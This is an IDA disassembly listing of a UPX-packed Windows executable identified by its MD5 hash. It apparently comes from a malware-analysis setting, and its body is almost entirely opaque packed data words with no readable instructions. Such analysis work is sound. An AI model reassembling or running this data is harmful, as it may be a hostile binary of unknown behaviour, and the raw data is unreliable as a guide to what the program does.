;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E8342237117DA248DC0466E548A0506F

; File Name   :	u:\work\e8342237117da248dc0466e548a0506f_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31500000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31501000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 1400h dup(0)
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00003000 (  12288.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00006000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 31506000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 0C272D637h, 0AB57AF50h, 69A9AF7Fh, 561004Fh,	0B4E8BCDBh
		dd 5051B8D9h, 9CF11C7Ah, 0CDEF4509h, 7032FADh, 630F513Ah
		dd 0BC15D98Bh, 525E80F1h, 2DD9A05Bh, 9BADAFA4h,	0DC45BDAFh
		dd 0A8D36441h, 0AC15D9AFh, 5573D45Fh, 5825DB06h, 0E064D3Ah
		dd 48E32DE9h, 15DD00C0h, 0F85A00C4h, 0FAE5940h,	0E4538EB7h
		dd 426F9038h, 5C94666Ch, 0D5DD9963h, 0AFBDAE9Dh, 0DA2E8FE7h
		dd 0D8E45D04h, 5070D046h, 0D3101011h, 0BE2C78A9h, 6149303Ah
		dd 4CEBE9A7h, 4B038C8h,	6E10DA60h, 9CBBC958h, 0B0816AA6h
		dd 569C6600h, 2F4E731Ch, 1EE6BFE0h, 593A714Ch, 61056738h
		dd 0D4DD096Ah, 0AF3D1B15h, 6F702B5Bh, 80074A54h, 0AB15D8B0h
		dd 0A29BAB40h, 4F118607h, 54B08070h, 0AAAA0759h, 64C38A8Ch
		dd 5E793819h, 0B08840B1h, 0E62DEB66h, 3A64323Ah, 38C7440h
		dd 3DCAD15Bh, 3614A6ABh, 50525D97h, 505EED38h, 0B136C4B4h
		dd 4946B6E7h, 8D76718Eh, 25D9AC25h, 0BDA261B0h,	7EC83492h
		dd 0DB7453BAh, 4940F465h, 0EFB1EFEAh, 0AF072698h, 4DDB0386h
		dd 2C384DCCh, 0EB0DEABBh, 59029813h, 4883AF63h,	63DC253Ah
		dd 2CFF3CD7h, 561038AFh, 0C8F01619h, 6327B452h,	63F8384Fh
		dd 98550304h, 8E34B4B7h, 67270450h, 58609C8Fh, 77DC5F16h
		dd 7680EDD0h, 65D55F61h, 95EBE7EBh, 5835D3B9h, 50578016h
		dd 0C0A0EC6Ch, 915E89CAh, 0F5C4106h, 6C711600h,	0B6BB23h
		dd 41A10C4Fh, 0E08C47E3h, 0BC5C9Bh, 283E5A4Eh, 0A1DF26A8h
		dd 956F171h, 38D5D975h,	0BCEE5F43h, 0FE47E464h,	0F25490D3h
		dd 70B84CC2h, 2B50A3ACh, 38383A52h, 90490514h, 1A47C1CEh
		dd 63E0F052h, 0D75D7B23h, 2D535246h, 3E51F76Dh,	380D2613h
		dd 38B626CFh, 0E79C6A07h, 3C9D982Bh, 0D4B04B0Ah, 7A203A26h
		dd 23185E3Ch, 3084C6A4h, 0B15A0E98h, 34DE6223h,	50D42AC7h
		dd 0E66FF278h, 18E20DCBh, 0E23C6C08h, 0BFC840ACh, 0B23CF998h
		dd 5F8C5137h, 0EF5FC000h, 40B92E2Dh, 0FC38AA56h, 8378905Dh
		dd 968D498Bh, 50785899h, 5C1E54B5h, 0CE9358F4h,	952A098Bh
		dd 3475A97Dh, 8B4C8613h, 758E107Eh, 0E8F4C7B4h,	5D8E1411h
		dd 0ECFC7F49h, 4B8E0014h, 66A5C340h, 0C4E74E33h, 0D171C75Dh
		dd 0EFBEE62Eh, 0B82CFCA9h, 4674F5D0h, 38755650h, 0E0224C02h
		dd 4CCDCF75h, 0C6A44226h, 0B3EA4B1h, 54BF4806h,	982C3A03h
		dd 8A1B12Bh, 0EE0604E2h, 0DEBC2B99h, 0B104A21Ch, 0CFB974C0h
		dd 36310684h, 2874C73Eh, 0D218BD9Fh, 0E252C646h, 0A4455CA8h
		dd 0DC8F5236h, 0F42A41C9h, 0DB0EF858h, 0A30FA415h, 0BB03FA4h
		dd 0D3369399h, 7064CBCh, 700A7C38h, 0EFE988E4h,	55E05D7Dh
		dd 424838A8h, 0AC90D512h, 74B5A9Bh, 5E440A24h, 381B24A8h
		dd 0A4E309B8h, 0A0DBDFA6h, 6D24A6D5h, 3A001DDDh, 3BFC1170h
		dd 0AFA6929Fh, 0B85FAC05h, 0FC00B4E9h, 8C5FF678h, 0A05EC6CAh
		dd 0A805B652h, 0C9FDE759h, 0B4DC50FDh, 12A4DF57h, 27D10E0Fh
		dd 48D730ACh, 31C05DDBh, 50AC354Fh, 0AE899203h,	6C112FEBh
		dd 38915307h, 18DB2528h, 28DB64h, 0F0A41DD9h, 65822A94h
		dd 0C18B887Eh, 9325A003h, 0C30E45C7h, 1701BB51h, 0BD24BC42h
		dd 8C8DE25Dh, 14871408h, 5E2543A2h, 5B721059h, 527D3DAFh
		dd 1DDD73BBh, 480001A8h, 7E2B4F18h, 7A61C780h, 0D50D9054h
		dd 0BD55258Bh, 3AA88690h, 3BBB0853h, 4960AA64h,	8DAB24FBh
		dd 0A005093Eh, 1240EC2Dh, 0A06E1524h, 36BE3B01h, 30062EBh
		dd 65AFE861h, 0AA2AEB34h, 0F1119DBEh, 7FFBE263h, 61070758h
		dd 0AB2F48A0h, 24976BBCh, 0BB863655h, 0A68384Bh, 9B45838h
		dd 0E9E71CBBh, 0BB55AC5Eh, 0E3545857h, 0A92859DBh, 0C25912D4h
		dd 30030101h, 37D3615Fh, 31393C7Bh, 98C25DD9h, 0B9FC8D1Dh
		dd 0E1FF3D5Ah, 978E243h, 0FEC9BD7Dh, 7424AF2Bh,	9CE63AA9h
		dd 65E3D06Ch, 5CA187h, 5C519063h, 8048CED1h, 802B940h
		dd 0EC70490Dh, 7F3FAE89h, 58740CA7h, 742CDB26h,	0D5A66344h
		dd 36472EAFh, 0AFAEB074h, 0C94A3AEFh, 0D0A9A709h, 44D83192h
		dd 0A76B164Eh, 74D0B92Ch, 3F2A506Bh, 0E2C8868Bh, 7E14B9E7h
		dd 7FC0A0Fh, 8B535306h,	98368B49h, 42237F5Ch, 8CF58DE1h
		dd 4900A0h, 0D3FA5006h,	0FC8D3C91h, 843F0627h, 3EDF191Dh
		dd 0AA38DF3Bh, 97AFA05Ch, 0E631EB58h, 75CD033h,	0D30CD42Bh
		dd 0EA41B0AEh, 3159332Fh, 6FD04725h, 46492460h,	268DEFD8h
		dd 5724AC4Bh, 0DB5C10DBh, 254F60E8h, 96DB2F52h,	0FCBDF60Bh
		dd 3F64C06Bh, 2C39359Ch, 77E636E5h, 0D05A5A25h,	0D5E50BA7h
		dd 4A864Fh, 0E8572511h,	4451262Fh, 0CDEE6983h, 1585018h
		dd 0CA7414DDh, 649D0C71h, 88A72B31h, 953904Bh, 2829120Fh
		dd 8C99EA40h, 3A887040h, 1150BCD1h, 84B0E091h, 0A4670D68h
		dd 0E37538BAh, 51A5041h, 48B03A6h, 39BB9938h, 1A5BBCCFh
		dd 36882DBFh, 7541703Eh, 862A0B74h, 7D6B6C09h, 5C0901E0h
		dd 0A8478AFDh, 9C89CD0Ah, 0CC65C5D0h, 4BE16DD2h, 8C980A63h
		dd 17313039h, 0CB46569Dh, 9A0AF0AEh, 9C0D6B44h,	0F1299492h
		dd 8FBE6450h, 63F1FF90h, 7BCE50E9h, 22916B97h, 9B91DB52h
		dd 0EB26A727h, 8F1797Bh, 73975348h, 6D4324FCh, 7DE33D73h
		dd 3A4122A1h, 0F4B8A8CDh, 9FAD94BBh, 561AC6B6h,	41770C97h
		dd 3EB44EB4h, 45C434A2h, 535BD838h, 8B09D438h, 6CEC867Ch
		dd 0B329036Ah, 38633A0h, 40B0F827h, 69F9EDDEh, 0AA92B312h
		dd 7516015h, 0CE4D3D49h, 8086E6BDh, 0B331354h, 86EA4BEDh
		dd 56A78B79h, 0D9D03838h, 4293D44Dh, 43778B3Dh,	9044BCB0h
		dd 2671A2A9h, 626E691h,	522B0303h, 0D0416A51h, 70F3FC00h
		dd 40A06F67h, 3724515Ah, 482DDCFh, 30F3BCA2h, 92334716h
		dd 9ACBF1Bh, 0AC99AEF3h, 0FB060103h, 0B6A0B44h,	6DDB86Ah
		dd 0D78F4B76h, 530E4ECBh, 0E24092DCh, 121C820Eh, 2006B51Dh
		dd 0ADEEB85Ch, 0DD9A4CDh, 0AF5562BCh, 544FAF75h, 0DCF3936Ah
		dd 0BC4BAD59h, 14B72413h, 99D49CDAh, 0C0008F24h, 67FD4B76h
		dd 0DF7712BAh, 0B9C0FF20h, 5C343546h, 730FF024h, 0A8F6EF27h
		dd 284F8869h, 3238E141h, 781B594Ah, 95DADCCh, 3B2BB09h
		dd 13150F9Fh, 0C87C80E7h, 62051C0h, 2D633CCDh, 0E0EA9DE4h
		dd 526E4186h, 0D2D6865Bh, 0D00F6029h, 8043194h,	0F3889C41h
		dd 2CC4B0C0h, 963C60F0h, 4A34F35Eh, 2E76DC8h, 1E9F263Fh
		dd 5779CC15h, 14455473h, 0C638EE46h, 0E3DE1A87h, 0E2FB434Dh
		dd 195B0F4Dh, 5D3D2E97h, 6539C9C2h, 40C01438h, 92BE9B1Fh
		dd 3A631083h, 2F41E0F1h, 41346AD0h, 0F1F9ADBBh,	0D93400BAh
		dd 0DA55775h, 13F1B037h, 0AA6FAFA3h, 0ABF368DCh, 132A8F33h
		dd 2C38AC6Ah, 145A370Bh, 24745497h, 0C049515Bh,	82343C51h
		dd 0CC0496Ch, 4B45808h,	53706253h, 70181C00h, 14706253h
		dd 5371B86Ch, 9606462h,	0D3B61D69h, 6924D20Fh, 0F60B7838h
		dd 0EA705DE4h, 0BE1C343h, 5D384856h, 747E9240h,	5C5A201Ch
		dd 0F96753B8h, 4F3BB177h, 51A438BCh, 3E197EF0h,	5849E737h
		dd 5AA37F64h, 543C4BF8h, 7BB89969h, 70C67283h, 6C26462Ch
		dd 400A2ED9h, 0D868A307h, 4B5DC443h, 0B7BB552Fh, 0F6AFBFD3h
		dd 6A11655Fh, 0A0054B5Bh, 0E1C05D2Eh, 0D1525846h, 0F0130703h
		dd 845DAF94h, 54DA4B26h, 245A6C6Eh, 675D6C54h, 8C697B0h
		dd 165A6EADh, 9A06B4Ah,	0D333B522h, 922724A3h, 17A8FB18h
		dd 40309E67h, 0E8955469h
		dd 0FFEB1FD3h, 16539285h, 0EB5C7E9Fh, 0C903353Ch, 0D139C5Eh
		dd 0C240AFD8h, 6E221BD3h, 2A75030h, 3DCE7646h, 9D213840h
		dd 0F4402590h, 966BC499h, 9708D3A8h, 0CC246C71h, 3FDEED08h
		dd 55FC34B6h, 0F2572448h, 64DBB3BBh, 6DD71B6Bh,	6AAC0511h
		dd 0BB6A0D7Ah, 2A567007h, 0AA0587AFh, 0FE6EE122h, 579B11E8h
		dd 9ADBCF0h, 659C91Fh, 0D090BBEBh, 777055F4h, 47BC971Ch
		dd 5B665F82h, 0D1BCC053h, 7A42ACCDh, 385C03D2h,	90D54DDCh
		dd 43ABC463h, 0B04C6BF6h, 29225FEDh, 88EAC0F6h,	59D8F2A8h
		dd 0D82F1FD0h, 1BA0D751h, 15DA010Fh, 15D8705Bh,	888B62AFh
		dd 2752AA6Ah, 0B67E8F4Fh, 0EA0D6861h, 5B0DD875h, 0B7284464h
		dd 0EC5143BDh, 37F1E75Fh, 0A843AF09h, 0A7C9D977h, 28653AEh
		dd 0D093AEC1h, 0ED22AFABh, 3CEA300Eh, 26326B09h, 2B7613D0h
		dd 65DB90DEh, 9D083863h, 1FDD3C25h, 0E85AD16Eh,	0BD590DC4h
		dd 5BD36648h, 257C2540h, 0F375E35Fh, 2B385C81h,	906DD990h
		dd 62E5ECD3h, 8753AFD4h, 39ABD113h, 0F4FA3DA2h,	0D70FCF6Ch
		dd 531CAF0Dh, 232B08E3h, 372DF28Bh, 7FDC530Fh, 2D07C006h
		dd 81EC87ADh, 0AEAF54A3h, 0D82F6CCCh, 8B5E3BA7h, 0DBBFBB38h
		dd 8CC96B74h, 0C3E06EFAh, 0F0F395CDh, 77FCE07h,	7CA6B4CCh
		dd 9A82C44h, 45717843h,	0AF4A45EAh, 0BE25E331h,	65C188C8h
		dd 0D577F17Ch, 0CE83EE83h, 28C96062h, 63FE20D4h, 32B0FC81h
		dd 98D31E92h, 0ED2493DFh, 572F0030h, 6DBD27D8h,	5FEB6160h
		dd 6751535Bh, 38E0A170h, 40EC0BF4h, 0C7EEF841h,	3C00FF51h
		dd 5BD096FFh, 532F2B8Fh, 54FEA56h, 7BD6306h, 0B6887DD9h
		dd 4019DF5Dh, 5CF560E9h, 5C93DBE1h, 9DA4AD4Fh, 8B650544h
		dd 0A69C308Dh, 3A525Bh,	0F90BC868h, 0A7DAE87h, 50C68255h
		dd 41594824h, 60302FF7h, 550EEBA7h, 42934449h, 533CDB23h
		dd 653ED7B1h, 2475ADD1h, 4E82055Dh, 97E64E40h, 567401Eh
		dd 48741C66h, 4AF58486h, 2E65BD67h, 47E01841h, 4E8B5EBDh
		dd 0BF441B09h, 0BBCF55C3h, 74E716A2h, 39255DD3h, 63CD8DBBh
		dd 385EC522h, 0F15B016Fh, 1BC1E6B1h, 45407CD0h,	6842405Ch
		dd 3BE3EEDCh, 82645860h, 0B7EE501h, 648F7C7h, 48AC40h
		dd 0D59664E2h, 6D066EDDh, 3C7A8924h, 0AACBF9CFh, 1E364448h
		dd 81787048h, 53CD3DDBh, 55F0E28h, 0FA9E870Ah, 1D06DD19h
		dd 4B7C067Eh, 39E99C0h,	77700506h, 86229866h, 25A018Ah
		dd 1629745Ch, 0D5C4CC3h, 3851787Dh, 4D554E7Ch, 0BDB81ECFh
		dd 5F8B8E7Fh, 6CE2C4DEh, 1E660C4Eh, 4E5DA729h, 463CA5A1h
		dd 471C80E8h, 2A8EE61Bh, 88616538h, 0E12D7722h,	559740E3h
		dd 7AD30070h, 0EBBB3444h, 0DD172DE2h, 3514E24h,	6FBF06ACh
		dd 241F252Ah, 0B0E5AF4Ch, 0CB63B815h, 5FAFA25Bh, 0D058024Fh
		dd 4C650900h, 26FC1666h, 0E8DDDEDh, 68E7EA28h, 7805F06h
		dd 0C845397h, 0FD98B422h, 9084567Ch, 0CC8CF888h, 694CDE17h
		dd 0D8B4C4B0h, 34BC20B8h, 73C19C49h, 68A418A0h,	846CB8E0h
		dd 0EF5A2A64h, 0F334EE8Bh, 0A5203473h, 98E448DBh, 5F81B06h
		dd 3950B900h, 5EE03C47h, 445B4DFBh, 654864DCh, 6FD3F045h
		dd 61F25E3h, 52FB68D6h,	0EA655628h, 0FDD43017h,	3AD8A5C4h
		dd 7738B533h, 63342620h, 0D348F1D4h, 0A8D71D64h, 90D353B0h
		dd 591FA355h, 0CF4673Ch, 0D9409893h, 3E23606Dh,	0CA03826h
		dd 445E765Ah, 0B1BC9437h, 3120B168h, 160B106Eh,	0E8702A63h
		dd 0DB34FBE6h, 9669BE51h, 84ECC472h, 2A40A359h,	0F157B324h
		dd 577FD6B9h, 0B8290ECCh, 0E90CAB50h, 2CA4076Dh, 304F95AFh
		dd 73E75297h, 75A54456h, 0EBD402F0h, 0B01F0D5Bh, 40EFD63Ah
		dd 0C6438F7h, 0D1B21101h, 67246F40h, 43AB46C3h,	0A8EB5ABEh
		dd 8153C8C6h, 0BEA40302h, 88267F37h, 6D03EC03h,	73BBE168h
		dd 5FE9FF4Bh, 75629E09h, 302148D8h, 0B2D8369Bh,	0C69D7635h
		dd 9CEBFD2Dh, 0EB167CD4h, 98477E91h, 0A24570E9h, 33420EBBh
		dd 1C371B77h, 6134B700h, 360BEB96h, 0AD6B2818h,	98F0FB7Ch
		dd 5770DC0Bh, 45BB5C18h, 0B46DC11h, 93599D30h, 0E560E852h
		dd 635CEE08h, 90644F32h, 2338E10Ch, 0EE6A433Ah,	8418991h
		dd 5C38A107h, 6876570Eh, 12475199h, 0FF4C5416h,	4B605593h
		dd 48283944h, 0EF4B2787h, 0A9DBBDA4h, 0DD05B105h, 65055E27h
		dd 3A42DC83h, 5533A658h, 575C5F23h, 4297D370h, 0CADD4107h
		dd 0C13893D5h, 0A5660C7Ch, 0C02DEBA8h, 10AE744Ch, 0B0DC210h
		dd 4226AF3Ch, 96C4B72h,	5E2640B7h, 28444468h, 78EA536Ah
		dd 6D8E8832h, 9D3BF348h, 0B87300D8h, 219A9566h,	0EE045D83h
		dd 0E5E71050h, 265B0BDBh, 0E0DB0912h, 0F663AFCDh, 66E65911h
		dd 3E58C3CDh, 73135800h, 0B08510D3h, 8E6538C7h,	0B81D7B72h
		dd 0B11AE54Bh, 0A9AE2C2Dh, 0D158BDA6h, 3194CDA9h, 0A75E2327h
		dd 0C82F3E2Ch, 3422CE6Bh, 5738D792h, 38C77D4Ah,	9EB57153h
		dd 20C9E63Ah, 45689850h, 0F26E9FABh, 415466FEh,	4017DB76h
		dd 7678506Dh, 2690F03Dh, 0A8354C27h, 42214975h,	0E8F4316Ah
		dd 0B04417F6h, 40789A58h, 6AE3332Bh, 5E585C42h,	60CC7B38h
		dd 0ED08D945h, 3073B196h, 0CF713E91h, 0D782E706h, 5750128Eh
		dd 81BB5985h, 0FF68A54h, 408A7061h, 5D2D5858h, 917F3DC0h
		dd 4B023B54h, 0EB57DB6Ah, 33B24A7Dh, 2EDD5664h,	665CA458h
		dd 0D22D5EC3h, 0ADB01CA9h, 2DE6A4D1h, 8D5D364Ah, 76035718h
		dd 3CDA9440h, 655491ADh, 0A7005817h, 40F046B8h,	664D707Fh
		dd 5799D100h, 101A449Ch, 41CD9DDh, 4524A44Ah, 0D38E7E70h
		dd 97584940h, 237AD116h, 0DBE7E5FEh, 0A7826306h, 5CD7549Fh
		dd 7C12F95Ah, 8382D5E0h, 5B475EAFh, 900DBF8Ch, 132E505Ch
		dd 6507ACEDh, 88DD3E4Eh, 7C24DC5Dh, 1491Ah, 73CB6B08h
		dd 451CF533h, 0E5E0860Fh, 140BD922h, 1A6BF2A8h,	0BC07A806h
		dd 1273ED2Ch, 36D332BBh, 8DCB7610h, 3561481Dh, 0EE792551h
		dd 74EA12AEh, 7EAEB87Fh, 647AA954h, 4B25532Eh, 26EF67AFh
		dd 42B80E5Bh, 5700808h,	51E07F60h, 56594A93h, 0A3802D70h
		dd 0E6661770h, 0CAB475F5h, 0D3515088h, 0C7DE3C6Dh, 72B4B89Ch
		dd 0A8B86B57h, 5A67576Ah, 4AFA5B00h, 0E230EC75h, 8051E7A0h
		dd 0A489B323h, 0AC5F0625h, 93498980h, 287C778Bh, 0DF1355D3h
		dd 5961107Fh, 660F5EC9h, 0E2931420h, 0FF49FABAh, 538B1206h
		dd 43783C42h, 0B4F206B4h, 7FBD54C3h, 0D6DDB825h, 0D7FE5BABh
		dd 0BAB977B6h, 0AC1DDB45h, 0DAEC1656h, 5A4506ADh, 623A862Ch
		dd 0D3F61944h, 0E3A17843h, 0D540E6A8h, 0C61D371Fh, 2C286284h
		dd 0ED5F8425h, 2C4DE968h, 4150F5ECh, 80633540h,	8040D7E3h
		dd 19ECD94Ah, 38907A31h, 257DF51Ch, 90F8E5B0h, 87921183h
		dd 0CDADDC20h, 0BB83584Fh, 0B8689ECDh, 3EBB312Bh, 3060EE33h
		dd 56CD2D0Bh, 0F4F5363Ah, 393F125Fh, 0AD984434h, 0D33A405Ch
		dd 0F4B08F56h, 4A93ED2Dh, 0E7BEEE5Fh, 3F3C1631h, 799D740h
		dd 0A43F036Bh, 686912E7h, 9917B4Ah, 0A9E99353h,	0C06914DAh
		dd 0BB5602BDh, 98984F73h, 59BA8813h, 3053BB98h,	103FBF58h
		dd 0FE9344FBh, 0D450DA68h, 5BE7DE1Bh, 31DB1A5Fh, 9888DA03h
		dd 86FD8E6h, 842A0AE4h,	0D8E34C75h, 0EDEE0957h,	1E17FB2Dh
		dd 5B2C0931h, 562F2A55h, 0BED3A3DAh, 0B44BCE31h, 5F115A8Bh
		dd 161B110Ah, 7DE58578h, 19320B1Fh, 0E47807D0h,	2A5E4858h
		dd 25A8C212h, 0B365943Dh
		dd 440E427Ch, 9F3B773Ah, 0DDCF4C59h, 4E5D14F8h,	28C59F48h
		dd 83920E08h, 1549474Dh, 6ED1336Bh, 6509717Ch, 0CACC38D5h
		dd 0F8664CF0h, 2093886Bh, 0C165613h, 5BE45960h,	2B1692DDh
		dd 17DB3634h, 5C152E01h, 0E4373B26h, 3A512857h,	360C1AB3h
		dd 72FFED4Dh, 28443285h, 0B4C61DE1h, 73AC63CAh,	26FB4D35h
		dd 818D8FCBh, 0DB4CC4D4h, 4C707C1Eh, 0B9EDB51h,	465D7A70h
		dd 0FE3BF61Bh, 0EC7D1259h, 9E1EB43Bh, 7854C041h, 0B0302438h
		dd 0BD6C5670h, 639DD085h, 3B4CBAEAh, 0F0894C48h, 956FE958h
		dd 74772Eh, 0E4AF2237h,	61331C74h, 6C8CCB34h, 66383870h
		dd 0FDFC735Ch, 4361AFFCh, 0E73B09FCh, 6C50B798h, 100274D0h
		dd 2381C7E1h, 6009083Dh, 467E3B4Dh, 28249Ch, 0D0DB9C56h
		dd 4C3C2B4h, 8CC74478h,	0F24A76Eh, 7B9D5D7h, 9E70414Fh
		dd 3E30F531h, 88400E4Dh, 505D2DC5h, 70F0730h, 0D90F680Eh
		dd 0F8D18A46h, 0CA9135A0h, 0A03C72C0h, 0F2D4EED9h, 15273CE5h
		dd 522C2ED9h, 746D2420h, 0C22C2E79h, 926894D1h,	6B58115Ch
		dd 0DCD1170Ch, 89DBB0D9h, 7E3D0D4Ch, 0F031085Dh, 0E5542840h
		dd 7439E118h, 2E33223Eh, 0CC8A13A8h, 0B0255307h, 685AF9D2h
		dd 15FCC520h, 30D03476h, 12706A20h, 9F4699F0h, 8B625823h
		dd 4C7CB553h, 98847658h, 723B7C31h, 5C1219C8h, 0EDBAE08Eh
		dd 5F850370h, 428E4054h, 0DB7377h, 476000B2h, 7561497Ch
		dd 296C436Ch, 787A8203h, 0E5A891E1h, 0C438A435h, 12AE874Fh
		dd 54A82643h, 79BB533Ah, 0D0544348h, 0AD42721Eh, 96D3733Ah
		dd 0BB6F8560h, 0FE40FCC9h, 1C8121AAh, 8AF44923h, 0B0B83E97h
		dd 0EC7CA257h, 6158B019h, 5BC0F4E4h, 4444572Bh,	5FA5E48Dh
		dd 55BCC0C2h, 6A94E893h, 189299E5h, 4094C490h, 0A8468095h
		dd 0D9A16213h, 0BCA3A035h, 7FE81FE1h, 0ACB8D87Dh, 0B4D5970Ch
		dd 57D9FD16h, 434270ECh, 941CAB0h, 311D332h, 5C42B464h
		dd 34B70D56h, 0F2BD7DC9h, 2424482Dh, 0AC0DD913h, 0EE8F581Dh
		dd 7B58A88Dh, 30993900h, 916B19BAh, 196A4A26h, 71B2CA81h
		dd 0ABA41D2Fh, 817F41Fh, 241685D7h, 0D81BC502h,	14D83BC4h
		dd 79662EA6h, 775931AEh, 25936B4Eh, 95F2F8FEh, 0F166E31Dh
		dd 72117C7Fh, 0A420DB73h, 20417C70h, 62A2E854h,	9618019Bh
		dd 2249DFB7h, 3AD65618h, 1FE4C8A4h, 0A75C3593h,	88EF528Bh
		dd 0D1885356h, 914E5EABh, 0BE49D838h, 0E76B4511h, 0BC67DCE0h
		dd 2040D510h, 5BD9EF4Fh, 2784E949h, 4868D858h, 0D24C6869h
		dd 0D7E75FECh, 0AC41DEBh, 538B01D6h, 0CE744C8Dh, 0EB8CB65Ch
		dd 8DBA43F6h, 4546A40Dh, 98A1F044h, 8CB4880Eh, 1054DD67h
		dd 208CCA4Ah, 6B7BC0DEh, 41784443h, 0EF49DB0Ch,	509657D6h
		dd 0A76D1073h, 0CF351EBh, 0FC045995h, 13329424h, 0FC40D96Ch
		dd 4D858B4Bh, 52B8C7CCh, 0F44DD974h, 92628A7Bh,	0FC88B91Ah
		dd 56510990h, 690E46E4h, 0E4B06191h, 412431CFh,	0A9575B24h
		dd 9C684DCAh, 985A8730h, 4DD85CDDh, 600B176Bh, 384ACD4Dh
		dd 0B7B9D1F8h, 38B88D2Eh, 731657FCh, 0CAD4FF3Dh, 5DA13094h
		dd 0CFE005A2h, 0D7BA3D24h, 0D3C45725h, 0AA265592h, 93B2DFCh
		dd 5B3809AAh, 0AF09774Ah, 16394465h, 0FCFE9A0h,	0BF43EDE2h
		dd 5A759CE8h, 0B71B82Dh, 0BAAFD317h, 58A1C332h,	6263922Ch
		dd 43361808h, 65E65E90h, 1A137C3h, 0D402C564h, 43FE3FDDh
		dd 0BBFF221Ch, 650B7B5Eh, 0A737F10Fh, 0D35A5CBBh, 0BBE5506Dh
		dd 84ADD790h, 0A9D86449h, 2C24248Bh, 67BED43Bh,	881C4B23h
		dd 4442FD70h, 71882C50h, 1B894454h, 0D290EA57h,	6E41E8F5h
		dd 0E93A40BBh, 30EC50E6h, 92D14740h, 0C1027428h, 1E915697h
		dd 8864B871h, 0F783D4C3h, 2F4762B1h, 82395A19h,	9D64CCC2h
		dd 745D34DAh, 9D5FE840h, 38CB7298h, 228E080h, 4013CADh
		dd 0CF8E6B88h, 65769576h, 0A08A8ADCh, 0D2A0692Ah, 47AC4330h
		dd 0A25F2854h, 56A0286Ch, 5F55D4DDh, 113755CDh,	6B094CEBh
		dd 0E3060387h, 53523D86h, 2BAC1C44h, 0D4502D9Ah, 33EC270h
		dd 947865C0h, 966B0036h, 50BE9CA3h, 0ACB31B76h,	50EF01D1h
		dd 53304184h, 88A9079Ah, 0E5188009h, 0F1B64A20h, 0D3FC3608h
		dd 6A4A4DEh, 1C630380h,	34E03F02h, 0CC55FA6Ch, 0D8B4CA8Ah
		dd 0DE7F0380h, 734E56E2h, 529C654Bh, 4F7BFD07h,	0D9430C5Fh
		dd 0A7A541B4h, 0E13B2F98h, 0CD93F6Bh, 167B9A8Ch, 77906D20h
		dd 0AC1C75C4h, 57265059h, 1A19F6D3h, 5DA2B4D3h,	5B0CE37Ch
		dd 167B281Eh, 4753B824h, 1A3A0C98h, 2051D00Fh, 6E65476h
		dd 0C69644Fh, 0D97DF928h, 846ECF28h, 7C384612h,	15D6974Bh
		dd 4C1932E5h, 64F576DAh, 0AB3D5B6Eh, 7260E100h,	93AB1CA6h
		dd 66B77DB1h, 5A6439F2h, 5F76DE5Fh, 0C0E786B8h,	93604031h
		dd 30032C5Ch, 838647Bh,	7921DDA8h, 93EC3D5Ch, 7C77A2EAh
		dd 4ECD0A6Dh, 0A4DF409Fh, 0D4C4659Fh, 0A1BB074h, 0ABEB9125h
		dd 0FDD684Dh, 57966C51h, 0AF326F2Ch, 0E950221Bh, 8D519B10h
		dd 3C448751h, 0FD6F883Fh, 0CECD8C00h, 78CF87DDh, 4D107E9Dh
		dd 20113053h, 49B6114Fh, 47EB1E58h, 50AFB7D7h, 5CD9689Eh
		dd 0CEBB91D5h, 7E15587Dh, 0C217E7h, 0CB65DD9Fh,	0D4BDB8F5h
		dd 473550h, 0D4BC8E96h,	44511AC2h, 27833081h, 60F6E99Eh
		dd 81603D40h, 5015965Fh, 0EB3BEBCEh, 0ECD0992Ch, 2E3570F1h
		dd 56987A19h, 0F6B98FA1h, 642431A8h, 1840ADD1h,	0B01D3F5Fh
		dd 70697C23h, 0DE2C1697h, 3CB126A7h, 6D9A5A0h, 8798BB28h
		dd 690C5DBBh, 90BCEB9h,	3C74A358h, 0BF582264h, 705CA97Dh
		dd 0B0066785h, 9D0D8680h, 5B835F7Fh, 0D8BA0013h, 315457ECh
		dd 915F78A7h, 40C87F14h, 0EBB61A99h, 0C44106EDh, 2D0C4731h
		dd 9C3764D1h, 28484A32h, 0E0B4CC32h, 695D5C3Fh,	4830D300h
		dd 577CC7D1h, 90952436h, 804EF528h, 60838B05h, 56EEDDCAh
		dd 0C15B58A7h, 0FFD9ED9Dh, 6475AF9Ch, 2F605545h, 7CCA9652h
		dd 4701509Ch, 58741CDDh, 0A78FE1ADh, 0B9D14422h, 0D5547D5Bh
		dd 0BC234751h, 94DB987Bh, 0EC1B068Dh, 0DBB1DB5Ch, 9321103Ah
		dd 73734C17h, 55487333h, 0CF585C44h, 54737373h,	0D440AC50h
		dd 2CA86A40h, 402C272Eh, 0B8E84028h, 3EABB9EBh,	5BDE3B06h
		dd 804D5CBCh, 466B10E8h, 77BFEAB9h, 0C355709Ch,	4358B749h
		dd 9D485751h, 7D55852h,	0A7995B57h, 7F7B50C6h, 0EE1A5060h
		dd 1EB0B2B7h, 11304F07h, 7896708h, 5050CE80h, 5413AFABh
		dd 243808BBh, 7F6A2024h, 6762617Fh, 0AF51607Eh,	61EFADC1h
